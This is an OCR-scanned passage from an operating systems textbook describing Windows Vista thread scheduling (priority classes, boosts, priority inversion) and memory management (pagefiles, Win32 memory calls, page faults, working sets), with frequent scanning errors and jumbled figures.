scheduled on a different CPU and the original thread can continue to execute on 

the current CPU even though its scheduling priority is lower. 
In case 3, an interrupt to kernel mode occurs, at which point the thread exe

cutes the scheduler code to see who runs next. Depending on what other threads 

are waiting. the same thread may be selected, in which case it gets a new quantum 

and continues running. Otherwise a thread switch happens. 
The scheduler is also called under two other conditions: 

1. An If 0 operation completes. 
2. A timed wait expires. 

In the first case, a thread may have been waiting on this 1/0 and is now released to 
run. A check has to be made to see if it should preempt the running thread since 
there is no guaranteed minimum run time. The scheduler is not run in the inter
rupt handler itself (since that may keep interrupts turned off too long). Instead a 
DPC is queued for slightly later, after the interrupt handler is done. In the second 
case, a thread has done a down on a semaphore or blocked on some other object, 
but with a timeout that has now expired. Again it is necessary for the interrupt 
handler to queue a DPC to avoid having it run during the clock interrupt handler. 
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If a thread has been made ready by this timeout, the scheduler will be run and if 
!he newly runnable thread has higher priority, the current thread is preempted as 
III case 1 .  

Now we. come to the actual scheduling algorithm. The Win32 API provides 
two APls �o �nfluence thread scheduling. First, there is a call SetPriorityClass that 
sets the pr:onty �lass of all the threads in the caller's process. The allowed values 
are: real-tim�, high, above 

.
norrn�, ��rrnal, below normal, and idle. The priority 

cl�ss detenmnes th� �elatlve pnontles of processes. (Starting with Windows Y lsta the p�ocess pnonty class can also be used by a process to temporarily mark 
Its�lf. as .  bemg background, meaning that it should not interfere with any other 
aChvlty In the system.) . N?te that the priority class is established for the process, ?ut affects the actual pnonty of every thread in the process by setting a base prior
Ity that each thread starts with when created. 

The sec�nd Win32 API is SetThreadPriority. It sets the relative priority of a �read (pos�lbly, but not necessarily, the calling thread) with respect to the prior
Ity class of Its process. The allowed values are: time critical, highest, above nor
mal, no�al. below n?nnal, lowest, and idle. Time critical threads get the highest 
non-r�al-.tIme schedulIng priority, while idle threads get the lowest, irrespective of 
th� pnonty class. The other priority values adjust the base priority of a thread 
WIth respe�t to the nonnal value detennined by the priority class (+2, + 1 ,  0, -1, 
:-2, r:spectlvelY�. �he use of priority classes and relative thread priorities makes 
it eaSIer for applIcatIOns to decide what priorities to specify. 

The scheduler works as follows. The system has 32 priorities, numbered from 
o to 31. The combin�ti��s of priority class and relative priority are mapped onto 
32 absolute thread pnonties according to the table of Fig. 1 1 -27. The number in 
the table d:te�nes the thread's base priority. In addition, every thread has a 
current PrIOrIty, which may be higher (but not lower) than the base priority and 
which we will discuss shortly. 

Win32 process class priorities 

Above Below 
Realwtime High Normal Normal Normal Idle 

Time critical 31 15 15 15 15 15 

Highest 26 15 12 1 0  8 6 

Win32 Above normal 25 14 1 1  9 7 5 

thread Normal 24 1 3 1 0  8 6 4 

priorities Below normal 23 12 9 7 5 3 

Lowest 22 1 1  8 6 4 2 

Idle 1 6  1 1 1 1 1 

Figure llw27. Mapping of Win32 priorities to Windows priorities. 
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To use these priorities for scheduling, the system maintains an array of 32 
lists of threads, corresponding to priorities 0 through 31 derived from the table of 
Fig. 1 1-27. Each list contains ready threads at the corresponding

. 
p�ority. The 

basic scheduling algorithm consists of searching the array from pnonty 3 1  down 
to priority O. As soon as a nonempty list is found, the thread at the head of the 
queue is selected and run for one quantum. If the quantum expires, the 

.
thread 

goes to the end of the queue at its priority level and the thread at the fr�nt IS ch�
sen next. In other words, when there are mUltiple threads ready at the hIghest pn
ority level, they run round robin for one quantum each. If no thre�d is ready, the 
processor is idled-that is, set to a low power state waiting for an lOterrupt to oc
cur. 

It should be noted that scheduling is done by picking a thread without regard 
to which process that thread belongs. Thus the scheduler does not first pick a 
process and then pick a thread in that process. It only looks at the thre

.
ads .

. 
I� does 

not consider which thread belongs to which process except to deterrmne If It also 
needs to switch address spaces when switching threads. 

To improve the scalability of the scheduling algorithms onto multiprocessors 
with a high number of processors, the scheduler tries hard not to have to 

.
take th

.
e 

lock that synchronizes access to the global array of priority lists. Instead It sees �f 
it can directly dispatch a thread that is ready to run to the processor where It 
should run. 

For each thread the scheduler maintains the notion of its ideal processor and 
attempts to schedule it on that processor whenever possible. This improves the 
performance of the system, as the data used by a thread are more likely to. 

already 
be available in the cache belonging to its ideal processor. The scheduler IS aware 
of multiprocessors in which each CPU has its own memory and which can exe
cute programs out of any memory-but at a cost if the memory is �ot local. 
These systems are called NUMA (NonUniform Memory Access) machlOes. The 
scheduler tries to optimize thread placement on such machines. The memory 
manager tries to allocate physical pages in the NUMA node belonging to the ideal 
processor for threads when they page fault. 

The array of queue headers is shown in Fig. 1 1-28. The figure shows 
.
that 

there are actually four categories of priorities: real-time, user, zero, and Idle, 
which is effectively -1. These deserve some comment Priorities 16-31 are call
ed real time, and are intended to build systems that satisfy real-time constraints, 
such as deadlines. Threads with real-time priorities run before any of the threads 
with dynamic priorities, but not before DPCs and ISRs. If a real-time application 
wants to run on the system it may require device drivers that are careful not to run 
DPCs or ISRs for any extended time as they might cause the real-time threads to 
miss their deadlines. 

Ordinary users may not run real-time threads. If a user thread ran at a higher 
priority than, say, the keyboard or mouse thread and got into a loop, the.keyboard 
or mouse thread would never run, effectively hanging the system. The fIght to set 
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the priority class to real-time requires a special privilege to be enabled in the proc
ess' token. Normal users do not have this privilege. 

Priority 

User 
priorities 8 

1 Zero page thread 0 

Idle thread 

Next thread to run 

Figure 11-28. Windows Vista supports 32 priorities for threads. 

Application threads normally run at priorities 1-15. By setting the process 
and thread priorities, an application can determine which threads get preference. 
The ZeroPage system threads run at priority 0 and convert free pages into pages 
of all zeroes. There is a separate ZeroPage thread for each real processor. 

Each thread has a base priority based on the priority class of the process and 
the relative priority of the thread. But the priority used for detennining which of 
the 32 1ists a ready thread is queued on is determined by its current priority, which 
is nonnally the same as the base priOrity-but not always. Under certain condi
ti�ns, the current priority of a non-real-time thread is boosted above the base pri
onty by the kernel (but never above priority 15). Since the array of Fig. 1 1-28 is 
based on the current priority, changing this priority affects scheduling. No adjust
ments are ever made to real-time threads. 

Let us now see when a thread's priority is raised. First, when an I/O operation 
completes and releases a waiting thread, the priority is boosted to give it a chance 
to run again quickly and start more 110. The idea here is to keep the I/O devices 
busy. The amount of boost depends on the I/O device, typically- l for a disk, 2 for 
a serial line, 6 for the keyboard, and 8 for the sound card. 

-

Second, if a thread was waiting on a semaphore, mutex, or other event, when 
it is released, it gets boosted by 2 levels if it is in the foreground process (the 
process controlling the window to which keyboard input is sent) and 1 level other
wise. This fix tends to raise interactive processes above the big crowd at level 8. 
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Finally, if a our thread wakes up because window input is now available, it gets a 
boost for the same reason. 

These boosts are not forever. They take effect immediately, and can cause 
rescheduling of the CPU. But if a thread uses all of its next quanUlm, it loses one 
priority level and moves down one queue in the priority array. If it uses up anoth
er full quantum, it moves down another level, and so on until it hits its base level, 
where it remains until it is boosted again. 

There is one other case in which the system fiddles with the priorities. Ima
o-ine that two threads are working together on a producer-consumer type problem. The producer's work is harder, so it gets a high priority, say 12, compared to the 
consumer's 4. At a certain point, the producer has filled up a shared buffer and 
blocks on a semaphore, as illustrated in Fig. 1 1 -29(a). � 

Does a down on the \,aPho,e and blooks 

I Semaphore I 

(a) 

Blooked � '"'0' 

� ,\"n9 on the semaphoce 

Running 8 I Semaphore 

,/'",( 
" Would like to do an up r:\ on the semaphore bilt 

Ready � never gets scheduled 

(b) 

Figure 11-29. An example of priority inversion. 

Before the consumer gets a chance to run again, an unrelated thread at priority 
8 becomes ready and starts running, as shown in Fig. 1 1-29(b). As long as this 
thread wants to run, it will be able to, since it has a higher scheduling priority than 
the consumer, and the producer, though even higher, is blocked. Under these cir
cumstances, the producer will never get to run again until the priority 8 thread 
gives up. . 

Windows solves this problem through what might be charitably caned a bIg 
hack. The system keeps track of how long it has been since a ready thread ran 
last. If it exceeds a certain threshold, it is moved to priority 15  for two quanta. 
This may give it the opportunity to unblock the producer. After the two quanta 
are up, the boost is abruptly removed rather than decaying gradually. Probably a 
better solution would be to penalize threads that use up their quantum over and 
over by lowering their priority. After all, the problem was not caused by the 
starved thread, but by the greedy thread. This problem is well known under the 
name priority inversion. 
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An analogous problem happens if a priority 16  thread grabs a mutex and does 
not get a c��nce to run for a long time, starving more important system threads 
that are wrutmg for the mutex. This problem could have been prevented within 
t�e operating s�stem �Y �a�ing a thread that needs a mutex for a short time JUSt 
disable scheduling while It IS busy. (On a mUltiprocessor, a spin lock should be 
used.) . 

Before leaving the subject of scheduling, it is worth saying a few words about 
the quantum. On Windows client systems the default is 20 msec. On Windows 
server systems it is 180 msec. The short quantum favors interactive users whereas 
the long quantum red�ces context switches and thus provides better efficiency. 
These defaults can be mcreased manUally by 2x, 4x, or 6x if desired. 

One last patch to the scheduling algorithm says that when a new window be
COmes the foreground window, ..all of its threads get a longer quantum by an 
amount taken from the registry. This change gives them more CPU time, which 
usually translates to better user experience for the application whose window just 
moved to the foreground. 

11.5 MEMORY MANAGEMENT 

Windows Vi�ta has an �xtremely sophisticated virtual memory system� It has 
a number , of Wln32 functions for using it, implemented by the memory man
�ger-the I�rgest component of the NTOS executive layer. In the following sec
tIOns we wIll look at the fundamental concepts, the Win32 API calls and finally 
the implementation. ' 

11.5.1 Fundamental Concepts 

In Wi�dows, Vista, every user process has its Own virtual address space. For 
x86 machines, VIrtual addresses are 32 bits long, so each process has 4 GB of vir
tual address space. This can be allocated as either 2 GB of addresses for the user 
mode of each process, or Windows server systems can optionally configure the 
system to proVIde 3 GB for user mode. The other 2 GB (or I GB) is used by ker
nel mode. WIth x64 machines running in 64-bit mode, addresses can be either 32 
or 64 bi:s. 32-bit addresses are used for processes that are running with WOW64 
for 3.2-blt compatibility. Since the kernel has plenty of available addresses, such 
32-blt processes can ac�a1ly get a full 4 GB of address space if they want. For �oth x86 and x64, the, VIrtual address space is demand paged, with a fixed page 
SIze of 4 KB-th.ough III SOIll� cases, as we will see shortly, 4-MB large pages are 
also used (by usmg a page dIrectory only and bypassing the correspondino- page 
table). 

b 

. The virtual address space layouts for three x86 processes are shown in 
FIg. 1 1-30 in simplified form. The bottom and top 64 KB of each process' virtual 
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address space is normally unmapped This choice was made intentionally to help 
catch programming errors. Invalid pointers are often 0 or -1, so attempts to use 
them on Windows will cause an immediate trap instead of reading garbage or, 
worse yet, writing to an incorrect memory location. 

Process A's 
private code 

and data 

olmm_-",-

Process B 

{:<'HAL:f:-6(o:� 
--:'::..S.1'g�L�@� 

Process 8's 
private code 

and data 

Bottom and top 
64 KB are invalid 

Process C 

Process e's 
private code 

and data 

Figure 11-30. Virtual address space layout for three user processes on the x86. 
The white areas are private per process. The shaded areas are shared among aU 
processes. 

Starting at 64 KB comes the user's private code and data. This extends up to 
almost 2 OB. The upper 2 GB contains the operating system, including the code, 
data, and the paged and nonpaged pools. The upper 2 GB is the kernel's virtual 
memory, and is shared among all user processes, except for virtual memory data 
like the page tables and workjng set lists, which are per-process. Kernel virtual 
memory is only accessible while running in kernel mode. The reason for sharing 
the process' virtual memory with the kernel is that when a tluead makes a system 
call, it traps into kernel mode and can continue running without changing the 
memory map. All that has to be done is switch to the thread's kernel stack. Be
cause the process' user-mode pages are still accessible, the kernel-mode code can 
read parameters and access buffers without having to switch back and forth be
tween address spaces or temporarily double-map pages into both. The trade-off 
here is less private address space per process in return for faster system calls. 

Windows allows threads to attach themselves to other address spaces while 
running in the kernel. Attachment to an address space allows the thread to access 
all of the user-mode address space, as wen as the portions of the kernel address 
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space that are specific to a process, such as the self-map for the page tables. 
Threads must switch back to their original address space before returning to user 
mode. 

Virtual Address Allocation 

Each page of virtual addresses can be in one of three states: invalid, reserved, 
or committed. An invalid page is not currently mapped to a memory section ob
ject and a reference to it causes a page fault that results in an access violation. 
Once code or data is mapped onto a virtual page, the page is said to be commitw 
ted. A page fault on a committed page results in mapping the page containing the 
virtual address that caused the fault onto one of the pages represented by the sec
tion object or stored in the pagefile. It is often the case that this will require a 
physical page to be allocated, and I/O perfonned on the file represented by the 
section object to read in the data from disk. But page -faults can also occur simply 
because the page table entry needs to be updated, as the physical page referenced 
is stin cached in memory, in which case I/O is not required. These are called soft 
faults and we will discuss them in more detail shortly. 

A virtual page can also be in the reserved state. A reserved virtual page is 
invalid, but has the property that those virtual addresses will never be allocated by 
the memory manager for another purpose. As an example, when a new thread is 
created, many pages of user-mode stack space are reserved in the process' virtual 
address space, but only one page is committed. As the stack grows the virtual 
memory manager will automatically commit additional pages under the covers, 
until the reservation is almost exhausted. The reserved pages function as guard 
pages to keep the stack from growing too far and overwriting other process data. 
Reserving all the virtual pages means that the stack can eventually grow to its 
maximum size without the risk that some of the contiguous pages of virtual ad
dress space needed for the stack might be given away for another purpose. In ad
dition to the invalid, reserved, and committed attributes, pages also have other at
tributes, such as being readable, writable, and-in the case of AMD64-compatible 
processors-executable. 

Pagefiles 

An interesting trade-off occurs with assignment of backing store to committed 
pages that are not being mapped to specific files. These pages· use the pagefile. 
The question is how and when to map the virtual page to a specific location in the 
pagefile. A simple strategy would be to assign each virtual page to a page in one 
of the paging files on disk at the time the virtual page was committed. This would 
guarantee that there was always a known place to write out each committed page 
should it be necessary to evict it from memory. 
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Windows uses a just-in-time strategy. Committed pages that are backed by 
the pagefile m;e not assigned space in the pagefile until the time that they have to 
be paged out. No disk space is allocated for pages that are never paged out. If the 
total virtual memory is less than the available physical memory, a pagefile is not 
needed at all. This is convenient for embedded systems based on Windows. It is 
also the way the system is booted, since pagefiles are not initialized until the first 
user-mode process, smSS.exe, begins running. 

With a preallocation strategy the total virtual memory in the system used for 
private data (stacks, heap, and copy-on-write code pages) is limited to the size of 
the pagefiles. With just-in-time allocation the total virtual memory can be almost 
as large as the combined size of the pagefiles and physical memory. With disks 
so large and cheap versus physical memory, the savings in space is not as signifi
cant as the increased performance that is possible. 

With demand-paging, requests to read pages from disk need to be initiated 
right away, as the thread that encountered the missing page cannot continue until 
this page-in operation completes. The possible optimizations for faulting pages 
into memory involve attempting to prepage additional pages in the same I/O oper
ation. However, operations that write modified pages to disk are not normally 
synchronous with the execution of threads. The just-in-time strategy for allocat
ing pagefile space takes advantage of this to boost the performance of writing 
modified pages to the pagefile. Modified pages are grouped together and written 
in big chunks. Since the allocation of space in the pagefile does not happen until 
the pages are being written, the number of seeks required to write a batch of pages 
can be optimized by allocating the pagefile pages to be near each other, or even 
making them contiguous. 

When pages stored in the pagefile are read into memory, they keep their al
location in the pagefile until the first time they are modified. If a page is never 
modified, it will go onto a special list of free physical pages, called the standby 
list, where it can be reused without having to be written back to disk. If it is mod
ified, the memory manager will free the pagefile page and the only copy of the 
page will be in memory. The memory manager implements this by marking the 
page as read-only after it is loaded. The first time a thread attempts to write the 
page the memory manager will detect this situation and free the pagefile page. 
grant write access to the page, and then have the thread try again. 

Windows supports up to 16 pagefiles, normally spread out over separate disks 
to achieve higher IJO bandwidth. Each one has an initial size and a maximum 
size it can grow to later if needed, but it is better to create these files to be the 
maximum size at system installation time. If it becomes necessary to grow a 
pagefile when the file system is much fuller, it is likely that the new space in the 
pagefile will be highly fragmented, reducing performance. 

The operating system keeps track of which virtual page maps onto which part 
of which paging file by writing this information into the page table entries for the 
process for private pages, or into prototype page-table entries associated with the 
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sectio
.
n object for sh�red pages. In addition to the pages that are backed by the 

pagefile, many pages In a process are mapped to regular files in the file system. 
The executable code and read-only data in a program file (e.g., an EXE or 

DLL) can be mapped into the address space of whatever process is using it Since 
these page� cann�t be m?dified, they never need to be paged-out but the physical 
pa�es c�n Just be lITUnedlately reused after the page table mappings are all marked 
as lllvahd. When the page is needed again in the future, the memory manager will 
read the page in from the program file. 

Sometimes pages that start out as read-only end up being modified. For ex
ample, setting a

. 
bre�point in the code when debugging a process, or fixing up 

code to relocate It to dIfferent addresses within a process, or making modifications 
to data pages that started out shared. In cases like these, Windows, like most 
modem operating systems, supports a type of page called copy-on-write. These 
pages start out as ordinary mapped pages, but when an attempt is made to modify 
any part of the page the memory manager makes a private, writable copy. It then 
updates the page table for the virtual page so that it points at the private copy, and 
has the thread retry the write-which will now succeed. If that copy later needs 
to be pa�ed out, it .will be written to the pagefile rather than the original file, 

BeSides mappmg program code and data from EXE and DLL files, ordinary 
files can be mapped into memory, allowing programs to reference data from files 
without explicitly doing read and write operations. IJO operations are !:>till need�d, but they are provided implicitly by the memory manager using the section ob
ject to represent the mapping between pages in memory and the blocks in the files 
on disk. 

Secti�n objects do not have to refer to a file at all. They can refer to anony
mous regIOns of memory. By mapping anonymous section objects into multiple 
processes, memory can be shared without having to allocate a file on disk. Since 
secti�ns can

. 
be gi�en names in the NT namespace, processes can rendezvous by 

opemng sectlOn objects by name, as well as by duplicating handles to section ob
jects between processes. 

Addressing Large Physical Memories 

Years ago, when 16-bit (or 20-bit) address spaces were standard, but ma
chines had megabytes of physical memory, all kinds of tricks were thought up to 
allow programs to use more physical memory than fit in the address space. Often 
these

. 
tricks went under the name of bank switching, in which a program could 

substrtute some block of memory above the 16-bit or 20-bit limit for a block of its 
own memory. When 32-bit machines were introduced, most desktop machines 
had only a few megabytes of physical memory. But as memory has gotten denser 
on integrated circuits, the amount of memory commonly available has vrown 
dramatically. This first hits servers where applications often require more �emo
ry. The Xeon chips from Intel supported Physical Address Extensions (PAE) 
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which allowed physical memory to be addressed with 36 bits instead of 32, mean
ing that up to 64 GB of physical memory could be put on a single system. This is 
far more than the 2 or 3 GB that a single process can address with 32-bit user
mode virtual addresses, yet many big applications like SQL databases are de
signed to run in a single-process address space, so bank switching is back, now 
called AWE (Address Windowing Extensions) in Windows. This facility al
lows programs (running with the right privilege) to request the allocation of physi
cal memory. The process requesting the allocation can then reserve virtual ad
dresses and request the operating system to map regions of virtual pages directly 
to the physical pages. AWE is a stopgap solution until all servers use 64-bit ad
dressing. 

11.5.2 Memory Management System Calls 

The Win32 API contains a number of functions that allow a process to man
age its virtual memory explicitly. The most important of these functions are listed 
in Fig. 11-31. AU of them operate on a region consisting either of a single page or 
a sequence of two or more pages that are consecutive in the virtual address space. 

Win32 API function I Description 

VirtualAlloc Reserve or commit a region 

Virtual Free I Release or decommit a region 

VirtualProtect Change the read/write/execute protection on a region 

VirtualQuery Inquire about the status of a region 

VirtualLock Make a region memory resident (Le., disable paging for it) 

VirtualUnlock Make a region pageable in the usual way 

CreateFileMapping Create a file mapping object and (optionally) assign it a name 

MapViewOfFile Map (part of) a file into the address space 

UnmapViewOfFile Remove a mapped file from the address space 

OpenFileMapping Open a previously created file mapping object 

Figure 11·31. The principal Win32 API functions for managing virtual memory 
in Windows. 

The first four API functions are used to allocate, free, protect, and query re
gions of virtual address space. Allocated regions always begin on 64-KB boun
daries to minimize porting problems to future architectures with pages larger than 
current ones. The actual amount of address space allocated can be less than 64 
KB, but must be a multiple of the page size. The next two APIs give a process the 
ability to hard wire pages in memory so they will not be paged out and to undO this 
property. A real-time program might need pages with this property to avoid 
pagefaults to disk during critical operations, for example. A limit is enforced by 
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the operating system to prevent processes from getting too greedy. The pages ac
tually can be removed from memory, but only if the entire process is swapped out. 
When it is brought back, all the locked pages are_ reloaded before any thread can 
start running again. Although not shown in Fig. 1 1-31, Windows Vista also has 
native API functions to allow a process to access the virtual memory of a different 
process over which it has been given control, that is, for which it has a handle (see 
Fig. 1 1-9). 

The last four API functions listed are for managing memory-mapped files. To 
map a file, a file mapping object (see Fig. 1 1-23) must first be created with 
CreateFl!eMapping. This function returns a handle to the file mapping object (i.e., 
a section object) and optionally enters a name for it into the Win32 namespace so 
that other processes can use it too. The next two functions map and unmap views 
on section objects from a process' virtual address space. The last API can be used 
by a process to map share a mapping that another process created with CreateFile
Mapping, usually one created to map anonymous memory. In this way, two or 
more processes can share regions of their address spaces. This technique allows 
them to write in limited regions of each other's virtual memory. 

11.5.3 Implementation of Memory Management 

Windows Vista, on the x86, supports a single linear 4-GB demand-paged ad
dress space per process. Segmentation is not supported in any form. Theoreti
cally, page sizes can be any power of 2 up to 64 KB. On the Pentium they are 
nonnally fixed at 4 KB. In addition, the operating system can use 4-MB pages to 
improve the effectiveness of the TLB (Translation Lookaside Buffer) in the 
processor's memory management unit. Use of 4-MB pages by the kernel and 
large applications significantly improves perfonnance by improving the hit-rate 
for the TLB and reducing the number of times the page tables have to be walked 
to find entries that are missing from the TLB. 

Unlike the scheduler, which selects individual threads to run and does not care 
much about processes, the memory manager deals entirely with processes and 
does not care much about threads. After all, processes, not threads, own the ad
dress space and that is what the memory manager is concerned with. When a re
gion of virtual address space is allocated, as four of them have been for process A 
in Fig. 1 1-32, the memory manager creates a VAD (Virtual Address Descriptor) 
for it, listing the range of addresses mapped, the section representing the backing 
store file and offset where it is mapped, and the pennissions. When the first page 
is touched, the directory of page tables is created and its physical address is 
inserted into the process object. An address space is completely defined by the 
list of its V ADs. The V ADs are organized into a balanced tree, so that the de
scriptor for a particular address can be found efficiently. This scheme supports 
sparse address spaces. Unused areas between the mapped regions use no re
sources (memory or disk) so they are essential free. 
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Figure 11·32. Mapped regions with their shadow pages on disk. The lib.dll file 
is mapped into two address spaces at the same time. 

Page Fault Handling 

When a process starts on Windows Vista, many of the pages mapping the pro
gram's EXE and DLL image files may already be in memory because they are 
shared with other processes. The writable pages of the images are marked copy
on-write so that they can be shared up to the point they need to be modified. If 
the operating system recognizes the EXE from a previous execution, it may have 
recorded the page reference pattern, using a technology Microsoft calls Super
Fetch. SuperFetch attempts to prepage many of the needed pages even though 
the process has not faulted on them yet. This reduces the latency for starting up 
applications by overlapping the reading of the pages from disk with the execution 
of the initialization code in the images. It improves throughput to disk because it 
is easier for the disk drivers to organize the reads to reduce the seek time needed. 
Process prepaging is also used during boot of the system, when a background ap
plication moves to the foreground, and when restarting the system after hiberna
tion. 

Prepaging is supported by the memory manager, but implemented as a sepa
rate component of the system. The pages brought in are not inserted into the proc
ess' page table, but instead are inserted into the standby list from which they can 
quickly be inserted into the process as needed without accessing the disk. 

Nonmapped pages are slightly different in that they are not initialized by read
ing from the file. Instead the first time a nonmapped page is accessed the memory 
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manager provides a new physical page, making sure the contents are all zeroes 
(for se.

curity reasons). On subsequent faults a nonmapped page may need to be 
found III memory or else must be read back from the pagefile. 

Demand paging in the memory manager is driven by page faults. On each 
page fault,. a trap t� the kernel occurs. The kernel then builds a machine-indepen
dent descnpt?r tellIng what happened and passes this to the memory manager part 
of the executIve. The memory manager then checks the access for validity. If the 
faulted page falls within a committed region, it looks up the address in the list of 
VADs and finds (or creates) the process page table entry. In the case of a shared 
page, the memory manager uses the prototype page table entry associated with the 
section Object to fill in the new page table entry for the process page tables. 

The format of the page table entries differs depending on the processor archiM 
tecture. For the x86 and x64, the entries for a mapped page are shown in Fig. 1 1-
33. If an entry is marked valid, its contents are interpreted by the hardware so that 
the virtual address can be translated into the correct physical page. Unmapped 
pages also have entries, but they are marked invalid and the hardware ignores the 
rest of the entry. The software format is somewhat different from the hardware 
fonnat, and is detemrined by the memory manager. For example, for an unmapM 
ped page that must be allocated and zeroed before it may be used, that fact is 
noted in the page table entry. 

31 

PhYSical 
page number 

NX -No eXecute 
AVL-AVaiLable to the OS 
G -GlObal page 
PAT - Page Attribute Table 
D Dirty (modified) 
A -ACCessed (referenced) 

PCD - Page Cache Disable 
PWT - Page Write-Through 
VIS - User/Supervisor 
A!W - ReadIWrite access 
P -Present (valid) 

(a) 

(b) 

Figure 11-33. A page table entry (PTE) for a mapped page on the (a) Intel x86 
and (b) AMD x64 architectures. 

Two important bits in the page table entry are updated by the hardware direct
ly. These are the access (A) and dirty (D) bits. These bits keep track of when a 
particular page mapping has been used to access the page and whether that access 
could have modified the page by writing it. This really helps the performance of 
the system because the memory manager can use the access bit to implement the 

.. 
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LRU (Least-Recently Used) style of  paging. The LRU principle says that pages 
which have not been used the longest are the least likely to be used again soon. 
The access bit allows the memory manager to determine that a page has been ac
cessed. The dirty bit lets the memory manager know that a page may have been 
modified. Or more significantly, that a page has not been modified. If a page has 
not been modified since being read from disk, the memory manager does not have 
to write the contents of the page to disk before using it for something else. 

The x86 normally uses a 32-bit page table entry and the x64 uses a 64-bit 
page table entry, as shown in Fig. 1 1-33. The only difference in the fields i� t�at 
the physical page number field is 30 bits instead of 20 bits. However, eXlstmg 
x64 processors support many fewer physical pages than can be represented by the 
architecture. The x86 also supports a special mode PAE (Physical Address 
Extension) which is used to allow the processor to access more than 4 GB of 
physical memory. The additional physical page frame bits require that the page 
table entries in PAE mode grow to also be 64 bits. 

Each page fault can be considered as being in one of five categories: 

1. The page referenced is not committed. 
2. Attempted access to a page in violation of the permissions. 

3. A shared copy�on-write page was about to be modified. 

4. The stack needs to grow. 
S. The page referenced is committed but not currently mapped in. 

The first and second cases are due to programming errors. If a program at
tempts to use an address which is not supposed to have a valid mapping, or at
tempts an invalid operation (like attempting to write a read-only page) this is call
ed an access violation and usually results in termination of the process. Access 
violations are often the result of-bad pointers, including accessing memory that 
was freed and unmapped from the process. 

The third case has the same symptoms as the second one (an attempt to write 
to a read-only page), but the treatment is different. Because the page has been 
marked as COPYNon-write, the memory manager does not report an access viola
tion, but instead makes a private copy of the page for the current process and then 
returns control to the thread that attempted to write the page. The thread will retry 
the write, which will now complete without causing a fault. 

The fourth case occurs when a thread pushes a value onto its stack and crosses 
onto a page which has not been allocated yet. The memory manager is pro
grammed to recognize this as a special case. As long as there is still room in the 
virtual pages reserved for the stack, the memory manager will supply a new physi
cal page, zero it, and map it into the process. When the thread resumes running, it 
will retry the access and succeed this time around. 
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Finally, the fifth case is a nonnal page fault. However, it has several sub
cases. If the page is mapped by a file, the memory manager must search its data 
structures, such as �he prototype page table associated with the section object to 
be sure that there IS not already a copy in memory. If there is, say in another 
proc�ss or on the standby or modified page lists, it will just share it-perhaps 
marking it as copy�on-write if changes are not supposed to be shared. If there is 
not already a copy, the memory manager will allocate a free physical page and 
arrange for the file page to be copied in from disk. 

When the memory manager can satisfy a page fault by finding the needed 
page in memory rather than reading it in from disk, the fault is classified as a soft 
fault. If the copy from disk is needed, it is a hard fault. Soft faults are much 
cheaper, and have little impact on application performance compared to hard 
faults. Soft faults can occur because a shared page has already been mapped into 
a�other process, or only a new zero page is needed, or the needed page was 
tnmmed from the process' working set but is being requested again before it has 
had a chance to be reused. 

When a physical page is no longer mapped by the page table in any process it 
goes onto one of three lists: free, modified, or standby. Pages that will never be 
needed again, such as stack pages of a terminating process, are freed immediately. 
Pages t?at may be faulted again go to either the modified list or the standby list, 
dependmg on whether or not the dirty bit was set for any of the page table entries 
that mapped the page since it was last read from disk. Pages in the modified list 
will be eventually written to disk, and then moved to the standby list. 

The memory manager can allocate pages as needed using either the free list or 
the standby list. Before allocating a page and copying from disk, the memory 
manager always checks the standby and modified lists to see if it already has the 
page in memory. The prepaging scheme in Windows Vista converts future hard 
faults into soft faults by reading in the pages that are expected to be needed and 
pushing them onto the standby list. The memory manager itself does a small 
amount of ordinary prepaging by accessing groups of consecutive pages rather 
tha? �ingle pages. The additional pages are immediately put on the standby list. 
This IS not gene.rally wasteful because the overhead in the memory manager is 
very much dOlTIlnated by the cost of doing a single I/O. Reading a cluster of 
pages rather than a single page is negligibly more expensive. 

The page table entries in Fig. 11-33 refer to physical page numbers, not virtu� 
al page numbers. To update page table (and page directory) entries, the kernel 
needs to use virtual addresses. Windows maps the page tables and paoe direc
tories .for the curr�nt process into kernel virtual address space using a ;elf-map 
entry m the page dIrectory, as shown in Fig. 1 1-34. By mapping a page directory 
entry to point at the page directory (the self-map), there are virtual addresses that 
can be used to refer to page directory entries (a) as well as page table entries (b). 
The self-map occupies 4 MB of kernel virtual addresses for every process (on the 
x86). Fortunately it is the same 4 MB. But 4 MB is not a big deal any more. 
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Virtual 11100 0000 00 11 0000 0000 1100 0000 00 oo! 
address 

cQ300cOO 
(a) 

c0390084 
(b) 

CHAP. 1 1  

Self-map: PD[Oxc0300000» 22] is pO (page-directory) . 
Virtual address (a): {PTE ')(Oxc030OcOO) points to PD[Ox300J which is the self-map pa

ge directory entry 

Virtual address (b): (PTE ')(Oxc0390c84) points to PTE for virtual address Oxe4321000 

Figure 11-34. The Windows self-map entry used to map the physical pages of 
the page tables and page directory into kernel virtual addresses, for the x86. 

The Page Replacement Algorithm 

When the number of free physical memory pages starts to get low, the rnen:o-

ry manager starts working to make more physical pages available
. 
by rernovmg 

them from user-mode processes as well as the system pr�cess, WhlC� represents 

kernel-mode use of pages. The goal is to have the most Importa�t :lftual pa�es 

present in memory and the others on disk. The trick 
.
is in determmmg what rm

portant means. In Windows this is answered by making h�avy use of
.
the work

ing-set concept Each process (not e�ch thread) has a working set. TIus set c?n� 
sists of the mapped-in pages that are III memory and thus

.
can be referenced wIth 

out a page fault. The size and composition of the working set fluctuates as the 

process' threads run, of course. . . . 
Each process' working set is described by two parameters: the mmlmum SIze 

and the maximum size. These are not hard bounds, so a process may have few.
er 

paO"es in memory than its minimum or (under certain circumstanc�) more than Its 

m:ximum. Every process starts with the same minimum a�d ma::.unum, but these 

bounds can change over time, or can be determined by the Job object for processes 

contained in a job. The default initial minimum is in the range 2?-50 pages and 

the default initial maximum is in the range 45-345 pages, dependmg on the total 

amount of physical memc.in the system. The system administrat?r ca� change 

these defaults, however. �le few home users will try, server admms ITIlght. 
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Working sets only come into play when the available physical memory is get
ting low in the system. Otherwise processes are allowed to consume memory as 
they choose, often far exceeding the working-set maximum. But when the system 
comes under memory pressure, the memory manager starts to squeeze processes 
back into their working sets, starting with processes that are over their maximum 
by the most. There ·are three levels of activity by the working-set manager, all of 
which is periodic based on a timer. New activity is added at each level: 

1 .  Lots of memory available: Scan pages resetting access bits and 
using their values to represent the age of each page. Keep an esti
mate of the unused pages in each working set. 

2. lYlemory getting tight: For any process with a significant proportion 
of unused pages, stop adding pages to the working set and start 
replacing the oldest pages whenever a new page is needed. The 
replaced pages go to the standby or modified list. 

3. Memory is tight: Trim (i.e., reduce) working sets to be below their 
maximum by removing the oldest pages. 

The working-set manager runs every second, called from the balance set 
manager thread. The working-set manager throttles the amount of work it does 
